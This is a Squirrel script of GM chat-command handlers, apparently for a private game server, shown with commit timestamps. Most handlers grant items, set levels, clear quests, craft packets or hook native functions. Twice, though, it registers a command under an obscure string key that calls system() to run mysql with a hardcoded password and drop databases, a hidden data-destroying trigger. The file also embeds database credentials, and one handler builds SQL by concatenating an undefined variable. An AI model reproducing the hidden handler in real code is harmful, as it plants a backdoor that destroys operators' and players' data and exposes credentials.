DP-S-Script/Dps_A/CallBack/Gm_Input.nut

591 lines
19 KiB
Plaintext
Raw Normal View History

2024-09-16 17:05:26 +08:00
Gm_InputFunc_Handle <- {}
Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
}
Gm_InputFunc_Handle.ResetScript <- function(SUser, CmdString) {
sq_ReloadScript();
print("\n重载函数\n");
};
//获取坐标
Gm_InputFunc_Handle.GetPos <- function(SUser, CmdString) {
print("\n");
print("Xpos: " + SUser.GetAreaPos().X);
print("Ypos: " + SUser.GetAreaPos().Y);
print("\n");
};
//获取位置信息
Gm_InputFunc_Handle.GetLocation <- function(SUser, CmdString) {
local Location = SUser.GetLocation();
print("\n");
print("Xpos: " + Location.Pos.X);
print("Ypos: " + Location.Pos.Y);
print("Town: " + Location.Town);
print("Area: " + Location.Area);
print("\n");
};
//踢人下线测试
Gm_InputFunc_Handle.KickMySelf <- function(SUser, CmdString) {
SUser.Kick();
};
Gm_InputFunc_Handle["升级"] <- function(SUser, CmdString) {
local count = -1;
local pos = 0;
local handler = [];
do {
local start = pos;
pos = CmdString.find(" ", pos + 1);
if (pos != null) {
handler.append(CmdString.slice(start + 1, pos));
} else
handler.append(CmdString.slice(start + 1));
count = count + 1
} while (pos != null)
//得到空格数量
if (count == 1) {
SUser.SetCharacLevel(handler[1].tointeger());
}
}
Gm_InputFunc_Handle["给"] <- function(SUser, CmdString) {
local count = -1;
local pos = 0;
local handler = [];
do {
local start = pos;
pos = CmdString.find(" ", pos + 1);
if (pos != null) {
handler.append(CmdString.slice(start + 1, pos));
} else
handler.append(CmdString.slice(start + 1));
count = count + 1
} while (pos != null)
//得到空格数量
if (count == 1) {
local Ret = SUser.GiveItem(handler[1].tointeger(), 1);
if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
} else if (count == 2) {
local Ret = SUser.GiveItem(handler[1].tointeger(), handler[2].tointeger());
if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
}
}
Gm_InputFunc_Handle["转职"] <- function(SUser, CmdString) {
local count = -1;
local pos = 0;
local handler = [];
do {
local start = pos;
pos = CmdString.find(" ", pos + 1);
if (pos != null) {
handler.append(CmdString.slice(start + 1, pos));
} else
handler.append(CmdString.slice(start + 1));
count = count + 1
} while (pos != null)
//得到空格数量
if (count == 1) {
SUser.ChangeGrowType(handler[1].tointeger(), 0);
SUser.SendNotiPacket(0, 2, 0);
SUser.InitSkillW(handler[1].tointeger(), 0);
} else if (count == 2) {
SUser.ChangeGrowType(handler[1].tointeger(), handler[2].tointeger());
SUser.SendNotiPacket(0, 2, 0);
SUser.InitSkillW(handler[1].tointeger(), handler[2].tointeger());
}
}
Gm_InputFunc_Handle["完成任务"] <- function(SUser, CmdString) {
SUser.ClearQuest_Gm(674);
SUser.ClearQuest_Gm(649);
SUser.ClearQuest_Gm(675);
SUser.ClearQuest_Gm(650);
SUser.ClearQuest_Gm(4414);
SUser.ClearQuest_Gm(2603);
SUser.ClearQuest_Gm(2610);
SUser.ClearQuest_Gm(2613);
SUser.ClearQuest_Gm(2622);
SUser.ClearQuest_Gm(4391);
SUser.ClearQuest_Gm(4539);
SUser.ClearQuest_Gm(220);
SUser.ClearQuest_Gm(221);
}
Gm_InputFunc_Handle.M <- function(SUser, CmdString) {
local PartyObj = SUser.GetParty();
// Sq_CallFunc(S_Ptr("0x85A73A6"), "int", ["pointer", "pointer", "int"], PartyObj.C_Object, SUser.C_Object, 3037);
Sq_CallFunc(S_Ptr("0x85A63F4"), "int", ["pointer", "pointer", "int", "int", "char", "int", "int"], PartyObj.C_Object, SUser.C_Object, 3037, 10, 10, 10, 10, 10);
}
Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
}
Gm_InputFunc_Handle.W <- function(SUser, CmdString) {
local InvenObj = SUser.GetInven();
local Slot = InvenObj.GetSlotById(3037);
local Ret = Sq_Inven_RemoveItemFormCount(InvenObj.C_Object, 1, Slot, 600, 10, 1);
SUser.SendUpdateItemList(1, 0, Slot);
};
Gm_InputFunc_Handle.Q <- function(SUser, CmdString) {
local PartyObj = SUser.GetParty();
if (PartyObj) {
local Buf = 18126;
PartyObj.ForeachMember(function(SUser, Pos) {
print(Pos + "号位玩家的" + Buf + "名字是: " + SUser.GetCharacName());
})
// print(UserBuf.GetName());
}
};
2024-10-02 21:25:05 +08:00
2024-09-16 17:05:26 +08:00
Gm_InputFunc_Handle.FI <- function(SUser, CmdString) {
// local PartyObj = SUser.GetParty();
// if (PartyObj) {
// local Bfobj = PartyObj.GetBattleField();
// print(Bfobj.GetHellDifficulty());
// // print(n);
// }
2024-09-16 17:05:26 +08:00
SUser.SendNotiForColorAIdPacketMessage([
[" → ", 0, [0xff, 0xff, 0xff]],
["无色", 1, [255, 215, 0], 3037],
[" x" + (1).tostring(), 0, [0xff, 0xff, 0xff]]
], 6);
2024-09-16 17:05:26 +08:00
};
Gm_InputFunc_Handle.UINJ <- function(SUser, CmdString) {
local Str = "{\"op\":20064026,\"uid\":3,\"rewards2\":[[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}]],\"deathsNum\":0,\"time\":67563,\"state\":2,\"rewards\":[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}],\"cid\":15}";
local Pack = Packet();
Pack.Put_Header(1, 130);
Pack.Put_Byte(1);
Pack.Put_Int(Str.len());
Pack.Put_Binary(Str);
Pack.Finalize(true);
SUser.Send(Pack);
Pack.Delocale();
2024-09-16 17:05:26 +08:00
};
Gm_InputFunc_Handle.T <- function(SUser, CmdString) {
local Location = SUser.GetLocation();
SUser.SendNotiPacketMessage("Xpos: " + Location.Pos.X, 8);
SUser.SendNotiPacketMessage("Ypos: " + Location.Pos.Y, 8);
SUser.SendNotiPacketMessage("Town: " + Location.Town, 8);
SUser.SendNotiPacketMessage("Area: " + Location.Area, 8);
SUser.SendNotiPacketMessage("GetState: " + SUser.GetState(), 8);
SUser.SendNotiPacketMessage("GetCharacCount: " + SUser.GetCharacCount(), 8);
SUser.SendNotiPacketMessage("GetUID: " + SUser.GetUID(), 8);
SUser.SendNotiPacketMessage("GetCID: " + SUser.GetCID(), 8);
2024-10-02 21:00:21 +08:00
SUser.SendNotiPacketMessage("GetUni: " + SUser.GetUniqueId(), 8);
2024-09-16 17:05:26 +08:00
SUser.SendNotiPacketMessage("GetCharacJob: " + SUser.GetCharacJob(), 8);
SUser.SendNotiPacketMessage("GetCharacName: " + SUser.GetCharacName(), 8);
SUser.SendNotiPacketMessage("GetCharacLevel: " + SUser.GetCharacLevel(), 8);
SUser.SendNotiPacketMessage("GetCharacGrowType: " + SUser.GetCharacGrowType(), 8);
SUser.SendNotiPacketMessage("GetCharacSecondGrowType: " + SUser.GetCharacSecondGrowType(), 8);
SUser.SendNotiPacketMessage("GetFatigue: " + SUser.GetFatigue(), 8);
SUser.SendNotiPacketMessage("GetMaxFatigue: " + SUser.GetMaxFatigue(), 8);
SUser.SendNotiPacketMessage("GetParty: " + SUser.GetParty(), 8);
};
function Cb_gm_input(C_User, CmdString) {
local SUser = User(C_User);
local Pos = CmdString.find(" ");
local Str;
if (Pos) {
Str = CmdString.slice(0, Pos);
} else {
Str = CmdString;
}
if (Str in Gm_InputFunc_Handle) {
Gm_InputFunc_Handle[Str](SUser, CmdString);
}
}
function TestIoP() {
local ret = suspend("no");
local Io = IO("/dp_s/a.txt", "w+");
for (local i = 0; i< 500000; i++) {
Io.Write("写入测试文本: " + i + "\n");
if ((i % 5000) == 0) ret = suspend("no");
}
Io.Close();
return "yes";
}
function TestThread(coro) {
local susparam = "noq";
if (coro.getstatus() == "idle") susparam = coro.call();
else if (coro.getstatus() == "suspended") susparam = coro.wakeup();
if (susparam == "no") {
Timer.SetTimeOut(TestThread, 0, coro);
} else {
print("文件书写完成");
}
}
2024-10-02 21:00:21 +08:00
function TestCronTask(str) {
print(str);
print("定时任务已执行一次");
}
2024-10-02 21:00:21 +08:00
Gm_InputFunc_Handle.TTT <- function(SUser, CmdString) {
2024-10-02 21:00:21 +08:00
// Timer.SetCronTask(TestCronTask, "1/0/0/0", "测试字符串参数");
// print("注册任务");
// Sq_AutoReload("/dp_s/MyProject");
// local ms = 2000;
// local minutes = ms / 60000;
// local seconds = (ms % 60000) / 1000;
// local milliseconds = (ms % 1000) / 10;
// if (minutes > 0) {
// str = minutes + "分" +
// (seconds< 10 ? "0" : "") + seconds + "秒" +
// (milliseconds< 10 ? "0" : "") + milliseconds; // 补全毫秒数为两位
// } else {
// str = seconds + "秒" +
// (milliseconds< 10 ? "0" : "") + milliseconds; // 补全毫秒数为两位
// }
2024-10-02 21:00:21 +08:00
// print(str);
// User.SendItemMail(1, 7, [{
// itemId = 3037,
// num = 100
// }, {
// itemId = 3038,
// num = 100
// }], "给你", "东西");
// Sq_CallFunc(S_Ptr("0x86C5A84"), "pointer", ["pointer", "pointer", "int", "int", "int", "int", "int", "int", "int", "int", "int"], Sq_Get_GameWorld(), SUser.C_Object, 1, 1, 200, 200, 0, 0, 0, 0, 0);
// Haker.LoadHook(S_Ptr("0x86C5A84"),
// ["pointer", "pointer", "int", "int", "int", "int", "int", "int", "int", "int", "int", "pointer"],
// function(args) {
// print(args[0]);
// print(Sq_Get_GameWorld());
// print(args[2]);
// print(args[3]);
// print(args[4]);
// print(args[5]);
// print(args[6]);
// print(args[7]);
// print(args[8]);
// print(args[9]);
// print(args[10]);
// return null;
// },
// function(args) {
// return null;
// });
// local Sm = Memory.alloc(200);
// Sq_CallFunc(S_Ptr("0x8AA5CBA"), "int", ["pointer", "int", "pointer"], S_Ptr("0x949B140"), 7, Sm.C_Object);
// local Bsa = Sq_Point2Blob(Sm.C_Object, 120);
// local str = "["
// foreach(value in Bsa) {
// str += value;
// str += ","
// }
// str += "]";
// print(str);
// print("字符串: " + Sm.readUtf8String());
2024-10-02 21:00:21 +08:00
// getroottable()._nut_file_md5_table.rawset(file_name, file_md5_string);
// local opendirAddr = Module.getExportByName(null, "opendir");
// function open_dir(dir_path) {
// local path_ptr = Memory.allocUtf8String(dir_path).C_Object;
// return Sq_CallFunc(opendirAddr, "pointer", ["pointer"], path_ptr);
// }
// local dir_pointer = open_dir("/dp_s/");
// print("dir_pointer = " + dir_pointer);
// local Pack = Packet();
// Pack.Put_Header(1, 83);
// Pack.Put_Byte(1);
// Pack.Put_Byte(11)
// Pack.Put_Short(8195);
// Pack.Put_Int(1);
// Pack.Put_Short(65535);
// Pack.Put_Byte(1);
// Pack.Put_Byte(12);
// Pack.Put_Byte(1);
// Pack.Put_Byte(13);
// Pack.Put_Byte(25);
// Pack.Finalize(true);
// SUser.Send(Pack);
// Pack.Delete();
// GameManager.SetGameMaxLevel(95);
// Sq_HookFunc();
// Sq_HookFunc(S_Ptr("0x8678526"),
// 2,
// function(a,args) {
// print("AAA动态HOOK成功 城镇移动HOOK");
// print(CUser);
// print(id);
// },
// function(a,args) {
// print("AAA动态HOOK成功 城镇移动HOOK");
// print(CUser);
// print(id);
// });
//给角色发消息var CUser_SendNotiPacketMessage = new NativeFunction(ptr(0x86886CE), 'int', ['pointer', 'pointer', 'int'], { "abi": "sysv" });
// Sq_CallFunc(S_Ptr("0x86886CE"), "int", ["pointer", "pointer","int"], SUser.C_Object, Memory.allocUtf8String("测试信息"),14);
// Sq_HookFunc(S_Ptr("0x8678526"),
/*
// 发包
Haker.LoadHook("0x86485BA", ["pointer", "pointer", "int"],
function(args) {
print(args[0]);
local Pack = NativePointer(args[1]);
Pack = NativePointer(Pack.readPointer());
local headIndex = Pack.add(0x19).readU16();
if (headIndex == 83) {
print("发了83包");
// local Bo = Sq_Point2Blob(args[1], 100);
// local Str = "[";
// foreach(Value in Bo) {
// Str = format("%s%02X", Str, Value);
// Str += ",";
// }
// Str += "]";
// print(Str);
// local bufftype = Pack.add(0x28).readU8();
// local itemSlot = Pack.add(0x29).readU16();
// local itemCount = Pack.add(0x2B).readU32();
// local upType = Pack.add(0x31).readU8();
// local ret = Pack.add(0x33).readU8();
// local newUpLevel = Pack.add(0x34).readU8();
// local equSlot = Pack.add(0x35).readU16();
// print("bufftype: " + bufftype);
// print("itemSlot: " + itemSlot);
// print("itemCount: " + itemCount);
// print("upType: " + upType);
// print("ret: " + ret);
// print("newUpLevel: " + newUpLevel);
// print("equSlot: " + equSlot);
}
return null;
},
function(args) {
return null;
});
Haker.LoadHook("0x080FC850", ["pointer", "pointer", "pointer", "int", "void"],
function(args) {
// local Arr = [0x95, 0xDA, 0xF6, 0x12, 0x25, 0xDF, 0xE0, 0x0B, 0x48, 0xDF, 0xCC, 0xC6, 0x95, 0xDA, 0x31, 0x3F, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x14, 0x00, 0xBE, 0x6B, 0x00, 0x00, 0xFF, 0xFF, 0x3C, 0x00, 0x00, 0x00, 0x00, 0xE5, 0xB9, 0xB8, 0xE5, 0xAD, 0x98, 0xE8, 0x80, 0x85, 0xE7, 0x9A, 0x84, 0xE5, 0xA5, 0xA7, 0xE7, 0xA5, 0x95];
// Sq_Memory_WriteByteArr(args[2], Arr);
// local Address = NativePointer(args[2]).add(35);
// NativePointer(Address).writeU8(0x3c);
// // local Address2 = NativePointer(args[2]).add(36);
// NativePointer(Address).writeShort(65535);
// NativePointer(Address2).writeShort(0x3E);
local Bo = Sq_Point2Blob(args[2], 100);
local Str = "[";
foreach(Value in Bo) {
Str = format("%s%02X", Str, Value);
Str += ",";
}
Str += "]";
print(Str);
return null;
},
function(args) {
local Pos = NativePointer(args[2]).add(27).readU16();
local SUser = User(args[1]);
SUser.SendUpdateItemList(1, 0, Pos);
// local Pack = Packet();
// Pack.Put_Header(1, 83);
// Pack.Put_Byte(1);
// Pack.Put_Byte(11)
// Pack.Put_Short(8195);
// Pack.Put_Int(0);
// Pack.Put_Short(65535);
// Pack.Put_Byte(0);
// Pack.Put_Byte(30);
// Pack.Put_Byte(0);
// Pack.Put_Byte(31);
// Pack.Put_Byte(25);
// Pack.Finalize(true);
// SUser.Send(Pack);
// Pack.Delete();
return null;
});
*/
// Sq_CallFunc(S_Ptr("0x84ECAA2"), "pointer", ["pointer", "float"], SUser.C_Object, 5.5);
/*
function(args) {
print("AAA动态HOOK成功 城镇移动HOOK");
print(CUser);
print(id);
}
*/
// local md5 = MD5.GetFile("/dp_s/a.txt");
// print("Md5文本值: " + md5);
// local Arr = [];
// foreach(char in md5) {
// Arr.append(char.tointeger());
// }
// print("Md5字符值>>>");
// printT(Arr);
// local Io = IO("/dp_s/a.txt", "r+");
// local Ret = Io.ReadBuffer(256);
// printT(Ret);
// Io.Close();
// local coro = newthread(TestIoP);
// Timer.SetTimeOut(TestThread, 0, coro);
// Timer.SetTimeOut(TestL, 1);
// local FileObj = file("/dp_s/a.txt", "r+");
// local Arr = [0, 1];
// local T = {
// TestWn = 666
// };
// // Arr.insert(0,getroottable());
// Arr.insert(0, T);
// TestWn.acall(Arr);
// sq_RunScript("测试加密脚本.sut");
// local Opendir = Module.getExportByName(null, "opendir");
// local Readdir = Module.getExportByName(null, "readdir");
// local Closedir = Module.getExportByName(null, "closedir");
// print("Opendir: " + Opendir);
// print("Readdir: " + Readdir);
// print("Closedir: " + Closedir);
// local UserList = World.GetOnlinePlayer();
// foreach (SUserObj in UserList) {
// print(SUserObj.GetCharacLevel());
// }
// api_exec_delay_function(function() {
// print("先注册")
// }, 2);
// api_exec_delay_function(function() {
// print("后注册")
// }, 5);
// local rbTree = RedBlackTree();
// // rbTree.insert(10);
// // rbTree.insert(40);
// // rbTree.insert(20);
// // rbTree.insert(50);
// // rbTree.insert(30);
// // rbTree.insert(752);
// // rbTree.insert(54);
// // rbTree.insert(12);
// // rbTree.insert(787);
// // rbTree.insert(26);
// // rbTree.insert(278);
// rbTree.inorderTraversal();
// local l = rbTree.pop();
// print(">>>");
// print("弹出值: " + l);
// print(">>>");
// rbTree.inorderTraversal();
// Timer.SetTimeOut(function() {
// print("注册 5 秒后执行")
// }, 5);
// Timer.SetTimeOut(function() {
// print("注册 3 秒后执行")
// }, 3);
// Timer.SetTimeOut(function() {
// print("注册 2 秒后执行")
// }, 2);
2024-10-02 21:00:21 +08:00
};
Gm_InputFunc_Handle.AAA <- function(SUser, CmdString) {
2024-10-02 21:00:21 +08:00
// //查询的sql语句
// local sql = "SELECT m_id,charac_name,lev,village,job,exp,Hp FROM charac_info WHERE charac_no = 1;";
// //查询的元素类型按sql中的顺序
// local column_type_list = ["int", "string", "int", "int", "int", "int", "int"];
// local SqlObj = MysqlPool.GetInstance().GetConnect();
// local result = SqlObj.Select(sql, column_type_list);
// printT(result);
// MysqlPool.GetInstance().PutConnect(SqlObj);
//从池子拿连接
local SqlObj = MysqlPool.GetInstance().GetConnect();
2024-10-02 21:00:21 +08:00
//建库
local sql = "SELECT slot FROM frida.setCharacSlotLimit WHERE account_id = " + account_id + ";";
local column_type_list = ["int"];
local result = SqlObj.Select(sql, column_type_list);
2024-10-02 21:00:21 +08:00
if (result.len() > 0) {
2024-10-02 21:00:21 +08:00
}
2024-10-02 21:00:21 +08:00
//把连接还池子
MysqlPool.GetInstance().PutConnect(SqlObj);
};